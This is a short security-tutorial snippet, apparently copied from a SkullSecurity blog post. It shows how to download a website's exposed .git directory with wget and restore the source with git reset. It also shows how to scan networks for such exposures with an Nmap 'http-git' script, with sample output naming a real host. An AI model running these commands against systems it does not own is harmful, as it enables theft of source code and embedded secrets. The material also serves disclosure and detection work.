Cacher is the code snippet organizer for pro developers

$ mkdir git-test
$ cd git-test
$ wget --mirror --include-directories=/.git http://www.site.com/.git
$ cd www.site.com
$ git reset --hard
HEAD is now at [...]

Finding this in an automated way A friend of mine - Alex Weber - wrote an Nmap script (his first ever!) to detect this vulnerability and print some useful information about the git repository! This script will run by default when you run nmap -A, or you can specifically request it by running nmap --script=http-git . You can quickly scan an entire network by using a command like:

nmap -sS -PS80,81,443,8080,8081 -p80,81,443,8080,8081 --script=http-git <target>

The output for an affected host will look something like:

PORT     STATE  SERVICE
80/tcp   open   http
| http-git: 
|   Potential Git repository found at 206.220.193.152:80/.git/ (found 5 of 6
expected files)
|   Repository description: Unnamed repository; edit this file 'description' to name 
the...
|   Remote: https://github.com/skullspace/skullspace.ca.git
|_   -> Source might be at https://github.com/skullspace/skullspace.ca

And that's all there is to it! Have fun, and let me know if you have any interesting results so I can post a followup!

Ref: https://blog.skullsecurity.org/2012/using-git-clone-to-get-pwn3d